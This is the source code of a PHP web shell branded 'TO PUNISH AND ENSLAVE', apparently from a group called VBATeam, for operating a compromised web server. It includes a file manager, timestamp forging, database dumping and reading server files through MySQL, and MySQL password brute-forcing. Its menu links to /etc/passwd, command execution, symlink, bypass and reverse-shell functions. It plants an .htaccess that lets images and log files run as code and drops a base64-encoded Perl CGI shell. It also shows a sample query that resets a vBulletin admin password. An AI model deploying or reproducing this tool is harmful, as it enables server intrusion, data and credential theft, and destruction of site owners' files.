$_value) { if ($_key{0} != '_') { if (IS_GPC) { $_value = s_array($_value); } $$_key = $_value; } } } if ($charset == 'utf8') { header("content-Type: text/html; charset=utf-8"); } elseif ($charset == 'big5') { header("content-Type: text/html; charset=big5"); } elseif ($charset == 'gbk') { header("content-Type: text/html; charset=gbk"); } elseif ($charset == 'latin1') { header("content-Type: text/html; charset=iso-8859-2"); } $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; $timestamp = time(); if ($action == "logout") { scookie('kyobin', '', -86400 * 365); p(''); p(''); exit; } // Function mail Sender to my Email - Please remove this before you using this shell code, Thanks - Fernando - VBATeam $time_shell = "".date("d/m/Y - H:i:s").""; $ip_remote = $_SERVER["REMOTE_ADDR"]; /*===================== Login =====================*/ if ($action == 'phpinfo') { if (IS_PHPINFO) { phpinfo(); } else { $errmsg = 'phpinfo() function has non-permissible'; } } if ($doing == 'downfile' && $thefile) { if (!@file_exists($thefile)) { $errmsg = 'The file you want Downloadable was nonexistent'; } else { $fileinfo = pathinfo($thefile); header('Content-type: application/x-'.$fileinfo['extension']); header('Content-Disposition: attachment; filename='.$fileinfo['basename']); header('Content-Length: '.filesize($thefile)); @readfile($thefile); exit; } } if ($doing == 'backupmysql' && !$saveasfile) { dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); $table = array_flip($table); $result = q("SHOW tables"); if (!$result) p('

'.mysql_error().'

'); $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql'); header('Content-type: application/unknown'); header('Content-Disposition: attachment; filename='.$filename); $mysqldata = ''; while ($currow = mysql_fetch_array($result)) { if (isset($table[$currow[0]])) { $mysqldata .= sqldumptable($currow[0]); } } mysql_close(); exit; } // Mysql if($doing=='mysqldown'){ if (!$dbname) { $errmsg = ' dbname'; } else { dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); if (!file_exists($mysqldlfile)) { $errmsg = 'The file you want Downloadable was nonexistent'; } else { $result = q("select load_file('$mysqldlfile');"); if(!$result){ q("DROP TABLE IF EXISTS tmp_angel;"); q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);"); //Download SQL q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';"); $result = q("select content from tmp_angel"); q("DROP TABLE tmp_angel"); } $row = @mysql_fetch_array($result); if (!$row) { $errmsg = 'Load file failed '.mysql_error(); } else { $fileinfo = pathinfo($mysqldlfile); header('Content-type: application/x-'.$fileinfo['extension']); header('Content-Disposition: attachment; filename='.$fileinfo['basename']); header("Accept-Length: ".strlen($row[0])); echo $row[0]; exit; } } } } ?> .:: TO PUNISH AND ENSLAVE ::.
Loading

| Server IP: ".gethostbyname($_SERVER['SERVER_NAME'])."";?> | Your IP: ".$_SERVER['REMOTE_ADDR']."";?> | | Logout
ON - "):("Safe_mod: OFF - ")); echo "PHP version: ".@phpversion()." - "; echo "cURL: ".(($curl_on)?("ON - "):("OFF - ")); echo "MySQL: "; $mysql_on = @function_exists('mysql_connect'); if($mysql_on){ echo "ON - "; } else { echo "OFF - "; } echo "MSSQL: "; $mssql_on = @function_exists('mssql_connect'); if($mssql_on){echo "ON - ";}else{echo "OFF - ";} echo "PostgreSQL: "; $pg_on = @function_exists('pg_connect'); if($pg_on){echo "ON - ";}else{echo "OFF - ";} echo "Oracle: "; $ora_on = @function_exists('ocilogon'); if($ora_on){echo "ON";}else{echo "OFF
";} echo "Disable functions : "; if(''==($df=@ini_get('disable_functions'))){echo "NONE
";}else{echo "$df
";} echo "Uname -a: ".@substr(@php_uname(),0,120)."
"; echo "Server: ".@substr($SERVER_SOFTWARE,0,120)." - id: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")
"; ?>
Manager | SQL | /etc/passwd | Command | Creat CGI | Open CGI | Sym Root | Open Sym | ByPass | Back| Reverse
'); p(''); // Get path $dirdata=array(); $filedata=array(); if ($view_writable) { $dirdata = GetList($nowpath); } else { // Open dir $dirs=@opendir($dir); while ($file=@readdir($dirs)) { $filepath=$nowpath.$file; if(@is_dir($filepath)){ $dirdb['filename']=$file; $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); $dirdb['dirchmod']=getChmod($filepath); $dirdb['dirperm']=getPerms($filepath); $dirdb['fileowner']=getUser($filepath); $dirdb['dirlink']=$nowpath; $dirdb['server_link']=$filepath; $dirdb['client_link']=ue($filepath); $dirdata[]=$dirdb; } else { $filedb['filename']=$file; $filedb['size']=sizecount(@filesize($filepath)); $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); $filedb['filechmod']=getChmod($filepath); $filedb['fileperm']=getPerms($filepath); $filedb['fileowner']=getUser($filepath); $filedb['dirlink']=$nowpath; $filedb['server_link']=$filepath; $filedb['client_link']=ue($filepath); $filedata[]=$filedb; } }// while unset($dirdb); unset($filedb); @closedir($dirs); } @sort($dirdata); @sort($filedata); $dir_i = '0'; foreach($dirdata as $key => $dirdb){ if($dirdb['filename']!='..' && $dirdb['filename']!='.') { $thisbg = bg(); p(''); p(''); p(''); p(''); p(''); p(''); p(''); p(''); $dir_i++; } else { if($dirdb['filename']=='..') { p(''); p(''); p(''); } } } p(''); p(''); makehide('action','file'); makehide('thefile'); makehide('doing'); makehide('dir',$nowpath); $file_i = '0'; foreach($filedata as $key => $filedb){ if($filedb['filename']!='..' && $filedb['filename']!='.') { $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']); $thisbg = bg(); p(''); p(''); p(''); p(''); p(''); p(''); p(''); $file_i++; } } p(''); p('
'goaction')); makehide('action'); formfoot(); $errmsg && m($errmsg); // Dir function !$dir && $dir = '.'; $nowpath = getPath(SA_ROOT, $dir); if (substr($dir, -1) != '/') { $dir = $dir.'/'; } $uedir = ue($dir); if (!$action || $action == 'file') { // Non-writeable $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable'; // Delete dir if ($doing == 'deldir' && $thefile) { if (!file_exists($thefile)) { m($thefile.' directory does not exist'); } else { m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed')); } } // Create new dir elseif ($newdirname) { $mkdirs = $nowpath.$newdirname; if (file_exists($mkdirs)) { m('Directory has already existed'); } else { m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed')); @chmod($mkdirs,0777); } } // Upload file elseif ($doupfile) { m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed')); } // Edit file elseif ($editfilename && $filecontent) { $fp = @fopen($editfilename,'w'); m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed')); @fclose($fp); } // Modify elseif ($pfile && $newperm) { if (!file_exists($pfile)) { m('The original file does not exist'); } else { $newperm = base_convert($newperm,8,10); m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed')); } } // Rename elseif ($oldname && $newfilename) { $nname = $nowpath.$newfilename; if (file_exists($nname) || !file_exists($oldname)) { m($nname.' has already existed or original file does not exist'); } else { m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed')); } } // Copu elseif ($sname && $tofile) { if (file_exists($tofile) || !file_exists($sname)) { m('The goal file has already existed or original file does not exist'); } else { m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed')); } } // File exit elseif ($curfile && $tarfile) { if (!@file_exists($curfile) || !@file_exists($tarfile)) { m('The goal file has already existed or original file does not exist'); } else { $time = @filemtime($tarfile); m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed')); } } // Date elseif ($curfile && $year && $month && $day && $hour && $minute && $second) { if (!@file_exists($curfile)) { m(basename($curfile).' does not exist'); } else { $time = strtotime("$year-$month-$day $hour:$minute:$second"); m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed')); } } // Download elseif($doing == 'downrar') { if ($dl) { $dfiles=''; foreach ($dl as $filepath => $value) { $dfiles.=$filepath.','; } $dfiles=substr($dfiles,0,strlen($dfiles)-1); $dl=explode(',',$dfiles); $zip=new PHPZip($dl); $code=$zip->out; header('Content-type: application/octet-stream'); header('Accept-Ranges: bytes'); header('Accept-Length: '.strlen($code)); header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz'); echo $code; exit; } else { m('Please select file(s)'); } } // Delete file elseif($doing == 'delfiles') { if ($dl) { $dfiles=''; $succ = $fail = 0; foreach ($dl as $filepath => $value) { if (@unlink($filepath)) { $succ++; } else { $fail++; } } m('Deleted >> success '.$succ.' fail '.$fail); } else { m('Please select file(s)'); } } // Function Newdir formhead(array('name'=>'createdir')); makehide('newdirname'); makehide('dir',$nowpath); formfoot(); formhead(array('name'=>'fileperm')); makehide('newperm'); makehide('pfile'); makehide('dir',$nowpath); formfoot(); formhead(array('name'=>'copyfile')); makehide('sname'); makehide('tofile'); makehide('dir',$nowpath); formfoot(); formhead(array('name'=>'rename')); makehide('oldname'); makehide('newfilename'); makehide('dir',$nowpath); formfoot(); formhead(array('name'=>'fileopform')); makehide('action'); makehide('opfile'); makehide('dir'); formfoot(); $free = @disk_free_space($nowpath); !$free && $free = 0; $all = @disk_total_space($nowpath); !$all && $all = 0; $used = $all-$free; $used_percent = @round(100/($all/$free),2); p('File Manager Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)'); ?>
Current Directory (, )
'); p('
'); p('WebRoot'); if ($view_writable) { p(' | View All'); } else { p(' | View Writable'); } p(' | Create Directory | Create File'); if (IS_WIN && IS_COM) { $obj = new COM('scripting.filesystemobject'); if ($obj && is_object($obj)) { $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk'); foreach($obj->Drives as $drive) { if ($drive->DriveType == 2) { p(' | '.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')'); } else { p(' | '.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')'); } } } } p('
 FilenameLast modifiedSizeChmod / PermsAction
0'.$dirdb['filename'].''.$dirdb['mtime'].'--'); p(''.$dirdb['dirchmod'].' / '); p(''.$dirdb['dirperm'].''.$dirdb['fileowner'].'Del | Rename
=Parent Directory
'.$filedb['filename'].''.$filedb['mtime'].''.$filedb['size'].''); p(''.$filedb['filechmod'].' / '); p(''.$filedb['fileperm'].''.$filedb['fileowner'].''); p('Down | '); p('Copy | '); p('Edit | '); p('Rename | '); p('Time'); p('
Download Select - Delete '.$dir_i.' directories / '.$file_i.' files
'); }// end dir ?> '; if(isset($dbhost)){ $dbform .= "\n"; } if(isset($dbuser)) { $dbform .= "\n"; } if(isset($dbpass)) { $dbform .= "\n"; } if(isset($dbport)) { $dbform .= "\n"; } if(isset($dbname)) { $dbform .= "\n"; } if(isset($charset)) { $dbform .= "\n"; } if ($doing == 'backupmysql' && $saveasfile) { if (!$table) { m('Please choose the table'); } else { dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); $table = array_flip($table); $fp = @fopen($path,'w'); if ($fp) { $result = q('SHOW tables'); if (!$result) p('

'.mysql_error().'

'); $mysqldata = ''; while ($currow = mysql_fetch_array($result)) { if (isset($table[$currow[0]])) { sqldumptable($currow[0], $fp); } } fclose($fp); $fileurl = str_replace(SA_ROOT,'',$path); m('Database has success backup to '.$path.''); mysql_close(); } else { m('Backup failed'); } } } if ($insert && $insertsql) { $keystr = $valstr = $tmp = ''; foreach($insertsql as $key => $val) { if ($val) { $keystr .= $tmp.$key; $valstr .= $tmp."'".addslashes($val)."'"; $tmp = ','; } } if ($keystr && $valstr) { dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error()); } } if ($update && $insertsql && $base64) { $valstr = $tmp = ''; foreach($insertsql as $key => $val) { $valstr .= $tmp.$key."='".addslashes($val)."'"; $tmp = ','; } if ($valstr) { $where = base64_decode($base64); dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error()); } } if ($doing == 'del' && $base64) { $where = base64_decode($base64); $delete_sql = "DELETE FROM $tablename WHERE $where"; dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error()); } if ($tablename && $doing == 'drop') { dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); if (q("DROP TABLE $tablename")) { m('Drop table of success'); $tablename = ''; } else { m(mysql_error()); } } $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1'); formhead(array('title'=>'MYSQL Manager')); makehide('action','sqladmin'); p('

'); p('DBHost:'); makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); p(':'); makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); p('DBUser:'); makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); p('DBPass:'); makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); p('DBCharset:'); makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset)); makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt')); makeinput(array('name'=>'bru_sql','value'=>'Brute MySQL','type'=>'submit','class'=>'bt')); p('Pass:'); echo ""; p('

'); formfoot(); ?> 'recordlist')); makehide('doing'); makehide('action','sqladmin'); makehide('base64'); makehide('tablename'); p($dbform); formfoot(); // Data formhead(array('name'=>'setdbname')); makehide('action','sqladmin'); p($dbform); if (!$dbname) { makehide('dbname'); } formfoot(); formhead(array('name'=>'settable')); makehide('action','sqladmin'); p($dbform); makehide('tablename'); makehide('page',$page); makehide('doing'); formfoot(); $cachetables = array(); $pagenum = 30; $page = intval($page); if($page) { $start_limit = ($page - 1) * $pagenum; } else { $start_limit = 0; $page = 1; } if(isset($bru_sql)){ $br_m = explode("\r\n", implode("\r\n", array_unique(explode("\r\n",trim($brute_mysql))))); $count_pass = count($br_m); for($i=0;$i<$count_pass;$i++){ if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $br_m[$i])) { p(''); } if($link && $dbname) { if (!@mysql_select_db($dbname, $link)) { p('

Database selected has error

'); exit; } } if($link && mysql_get_server_info() > '4.1') { if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) { q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link); } $makelove = p("

Password found: $br_m[$i]

"); exit; } } if($makelove){ echo $makelove; }else{ p('

Brute : Can not connect to MySQL server

');} } if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) { dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); // get mysql server $mysqlver = mysql_get_server_info(); p('

MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'

'); $highver = $mysqlver > '4.1' ? 1 : 0; // Show database $query = q("SHOW DATABASES"); $dbs = array(); $dbs[] = '-- Select a database --'; while($db = mysql_fetch_array($query)) { $dbs[$db['Database']] = $db['Database']; } makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1)); $tabledb = array(); if ($dbname) { p('

'); p('Current dababase: '.$dbname.''); if ($tablename) { p(' | Current Table: '.$tablename.' [ Insert | Structure | Drop ]'); } p('

'); mysql_select_db($dbname); $getnumsql = ''; $runquery = 0; if ($sql_query) { $runquery = 1; } $allowedit = 0; if ($tablename && !$sql_query) { $sql_query = "SELECT * FROM $tablename"; $getnumsql = $sql_query; $sql_query = $sql_query." LIMIT $start_limit, $pagenum"; $allowedit = 1; } p('
'); p('

Run SQL query/queries on database '.$dbname.':
Example VBB Password: vhb
UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\'

'); makehide('tablename', $tablename); makehide('action','sqladmin'); p($dbform); p('
'); if ($tablename || ($runquery && $sql_query)) { if ($doing == 'structure') { $result = q("SHOW COLUMNS FROM $tablename"); $rowdb = array(); while($row = mysql_fetch_array($result)) { $rowdb[] = $row; } p(''); p(''); p(''); p(''); p(''); p(''); p(''); p(''); p(''); foreach ($rowdb as $row) { $thisbg = bg(); p(''); p(''); p(''); p(''); p(''); p(''); p(''); p(''); } tbfoot(); } elseif ($doing == 'insert' || $doing == 'edit') { $result = q('SHOW COLUMNS FROM '.$tablename); while ($row = mysql_fetch_array($result)) { $rowdb[] = $row; } $rs = array(); if ($doing == 'insert') { p('

Insert new line in '.$tablename.' table »

'); } else { p('

Update record in '.$tablename.' table »

'); $where = base64_decode($base64); $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1"); $rs = mysql_fetch_array($result); } p(''); p($dbform); makehide('action','sqladmin'); makehide('tablename',$tablename); p('
FieldTypeNullKeyDefaultExtra
'.$row['Field'].''.$row['Type'].''.$row['Null'].' '.$row['Key'].' '.$row['Default'].' '.$row['Extra'].' 
'); foreach ($rowdb as $row) { if ($rs[$row['Field']]) { $value = htmlspecialchars($rs[$row['Field']]); } else { $value = ''; } $thisbg = bg(); p(''); p(''); } if ($doing == 'insert') { p(''); } else { p(''); makehide('base64', $base64); } p('
'.$row['Field'].'
'.$row['Type'].'
'); } else { $querys = @explode(';',$sql_query); foreach($querys as $num=>$query) { if ($query) { p("

Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."

"); switch(qy($query)) { case 0: p('

Error : '.mysql_error().'

'); break; case 1: if (strtolower(substr($query,0,13)) == 'select * from') { $allowedit = 1; } if ($getnumsql) { $tatol = mysql_num_rows(q($getnumsql)); $multipage = multi($tatol, $pagenum, $page, $tablename); } if (!$tablename) { $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query))); $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line); preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches); $tablename = $matches[1][0]; } $result = q($query); p($multipage); p(''); p(''); if ($allowedit) p(''); $fieldnum = @mysql_num_fields($result); for($i=0;$i<$fieldnum;$i++){ $name = @mysql_field_name($result, $i); $type = @mysql_field_type($result, $i); $len = @mysql_field_len($result, $i); p(""); } p(''); while($mn = @mysql_fetch_assoc($result)){ $thisbg = bg(); p(''); $where = $tmp = $b1 = ''; foreach($mn as $key=>$inside){ if ($inside) { $where .= $tmp.$key."='".addslashes($inside)."'"; $tmp = ' AND '; } $b1 .= ''; } $where = base64_encode($where); if ($allowedit) p(''); p($b1); p(''); unset($b1); } tbfoot(); p($multipage); break; case 2: $ar = mysql_affected_rows(); p('

affected rows : '.$ar.'

'); break; } } } } } else { $query = q("SHOW TABLE STATUS"); $table_num = $table_rows = $data_size = 0; $tabledb = array(); while($table = mysql_fetch_array($query)) { $data_size = $data_size + $table['Data_length']; $table_rows = $table_rows + $table['Rows']; $table['Data_length'] = sizecount($table['Data_length']); $table_num++; $tabledb[] = $table; } $data_size = sizecount($data_size); unset($table); p('
Action$name
$type($len)
'.html_clean($inside).' Edit | Del
'); p(''); makehide('action','sqladmin'); p($dbform); p(''); p(''); p(''); p(''); p(''); p(''); p(''); if ($highver) { p(''); p(''); } p(''); foreach ($tabledb as $key => $table) { $thisbg = bg(); p(''); p(''); p(''); p(''); p(''); p(''); p(''); if ($highver) { p(''); p(''); } p(''); } p(''); p(''); p(''); p(''); p(''); p(''); p(''); p(""); makehide('doing','backupmysql'); formfoot(); p("
NameRowsData_lengthCreate_timeUpdate_timeEngineCollation
'.$table['Name'].' [ Insert | Structure | Drop ]'.$table['Rows'].''.$table['Data_length'].''.$table['Create_time'].''.$table['Update_time'].''.$table['Engine'].''.$table['Collation'].'
 Total tables: '.$table_num.''.$table_rows.''.$data_size.' 
Save as file
"); fr($query); } } } tbfoot(); @mysql_close(); }//end sql backup elseif ($action == 'error.log') { mkdir('e', 0755); chdir('e'); $kokdosya = ".htaccess"; $dosya_adi = "$kokdosya"; $dosya = fopen ($dosya_adi , 'w') or die ("Can not open file!"); $metin = "Options +FollowSymLinks +Indexes DirectoryIndex default.html ## START ## Options +ExecCGI AddHandler cgi-script log cgi pl tg love h4 tgb x-zone AddType application/x-httpd-php .jpg RewriteEngine on RewriteRule (.*)\.war$ .log ## END ##"; fwrite ( $dosya , $metin ) ; fclose ($dosya); $pythonp = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuNSI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigyNTUsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+VkhCPC9mb250PiI7CgokUGFzc3dvcmQgPSAieHh4IjsJCQkjIENoYW5nZSB0aGlzLiBZb3Ugd2lsbCBuZWVkIHRvIGVudGVyIHRoaXMKCQkJCSMgdG8gbG9naW4uCnN1YiBJc19XaW4oKXsKCSRvcyA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsKCWlmKCRvcyA9fiBtL3dpbi9pKXsKCQlyZXR1cm4gMTsKCX1lbHNlewoJCXJldHVybiAwOwoJfQp9CiRXaW5OVCA9ICZJc19XaW4oKTsJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmCgkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQoJCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4KCiROVENtZFNlcCA9ICImIjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJCSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTMwOwokcm93cz0gMjY7CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87CglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4